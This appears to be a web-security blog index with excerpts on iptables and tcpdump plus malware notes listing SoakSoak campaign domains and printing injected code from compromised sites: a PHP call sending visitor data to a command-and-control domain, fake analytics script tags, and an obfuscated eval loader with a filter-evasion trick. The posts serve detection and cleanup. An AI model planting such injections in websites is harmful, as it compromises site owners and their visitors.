Iptables has to be one of the tools that I use the most on my day to day work. The default firewall tool chain on Linux has a lot of options to filter pretty much any traffic you wish.
In this Tips and Tricks, we will show you how to block DNS requests (domain names + request types) via iptables. Enjoy!
Continue reading “Tips and Tricks: Blocking DNS requests via Iptables”
If you ever wondered what is going on at the DNS level on your computer (or network), tcpdump can be a useful tool for you.
Tcpdump is a tool that allows you to inspect any packet (TCP, UDP, etc) and its content as they pass through an interface through the libpcap module. The syntax is very simple, but the basics of the command require the network interface name, the protocol and the restrictions of what you are trying to inspect (more on that later):
Continue reading “Inspecting DNS traffic via tcpdump”
In a previous article, we showed how to block specific domains at the DNS level using iptables. Today, we will expand into that and show how to also block HTTP requests for a specific domain (or URL) in there.
Iptables String Matching
Iptables string matching is very powerful and easier to use than the hex-string module we used before. When you specify -m string –string, it will activate the string module and inspect at the packet content for the keyword you are looking for.
Continue reading “Blocking HTTP requests via Iptables for a specific domain”
Most servers get a IPv6 range (/64) by default. That means that you have millions of IP addresses to use for whatever you feel like. However, assigning them manually to your interfaces can be a bit painful.
Assigning all /64 IPv6 addresses with 1 command
However, there is a trick with the ip route command that allows you to link your /64 to the local interface and cover all of them automatically:
Continue reading “Binding multiple IPv6 addresses automatically”
The RevSlider SoakSoak malware campaign started with the soaksoak.ru domain (hence the name). However, since thelast 2 weeks, it has mutated and used different domains as the initial malware intermediary.
This is the full list so far:
- soaksoak.ru: First one in the list. We identified more than 100,000 sites redirecting to it.
- 126.96.36.199: Started just after soaksoak, leveraging the /collect.js redirection. Almost 10,000 were blacklisted and compromised with it.
- wpcache-blogger.com: Second biggest campaign after soaksoak. More than 50,000 sites compromised and still going.
- phoenix-credit.com: Current one active. Also leverages the /collect.js redirection and has compromised more than 11,000 different sites.
We will keep updating this list as the domains change and the attacks mutate.
The domain botsvsbrowsers.com is quite popular and used for comparing user agents (browsers) and seeingif a specific request is from a valid user or a bot.
And piggy backing on their popularity, the bad guys created a domain botsvsbrowsers.biz (.biz versus .com) tobe used as a command and control server on spam SEO campaigns.
This is the code we are seeing on compromised sites:
echo file_get_contents(“http://botsvsbrowsers. biz/Statistic/ Stat.php?ip=’. urlencode($_SERVER[‘REMOTE_ADDR’]).’&useragent=”.urlencode($sUserAgent)…
Which basically contacts botsvsbrowsers.biz/Statistic/Stat.php on every page load, giving the client IP address, and URLand it decides what to inject to that user. Most of the time we are seeing just plain SPAM, but they are probably servingother malicious code as well.
So if you see any content being loaded from botsvsbrowsers.BIZ (or the IP address 188.8.131.52), you know it is malicious.
That’s the supposed bad code: http://pastebin.com/raw.php?i=nAess4xL
It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.
A common keyword that people use to find hidden injections on web sites is base64_decode. Youoften see injections that look like eval ( base64_decode or eval ( gzinflate ( base64_decode beingused by the attackers.
So most web security tools have some signatures to look for it (specially on WordPress).
Well, the attackers do know about it as well and we are starting to see some interesting variations for it. Forexample, instead of injecting base64_decode, they are injecting as a variable:
And instead of calling out base64_decode directly, they are using base + 32*2 + decode. A simple trick that allowsthen to bypass many security filters.
<script src="httx://www.piwik-stat. com/piwik.js..
<iframe src="httx://www.piwik-stat. com/index.html..
It is not an uncommon tactic (we see if often with jquery), but as a web master if you see anythingfrom pwiki-stat or similar variations, it is likely fake. The official (and trusted one)is http://piwik.org/.
I don\’t think we have logged about it lately, but an old infection (that started early this year)is still going strong. The result is this code being injected to the site when visited by certain browsers:
var j=0; while(j<230)
And the hidden code that generates it is tricky to find and generlly hidden inside one of the themefiles or wp-includes (on WordPress sites). It looks like this:
$imagepath = array (
0 => "47 118 97 114 47 119 119 119 47 116 104 111 117 103 104 116 102 117 108 119 111 109 101 110 46',
1 => "111 114 103 47 119 112 45 99 111 110 116 101 110 116 47 117 112 108 111 97 100 115 47 50 48',
2 => "49 51 47 48 51 47 117 112 97 110 100 117 112 46 106 112 103',
$image = "101 118 97 108 40 98 97 115 101 54 52 95 100 101 99 111 100 101 40 39";
$image = implode("", array_map("chr", explode(" ", $image)));
$a = 'pre" . 'g_replace';
$a("/.*/e", $image . $code . "'));", "");
All that to the end goal: Inject an iframe from *no-ip.biz (and other free domains) that will redirect the browser of the victim to Fake AV.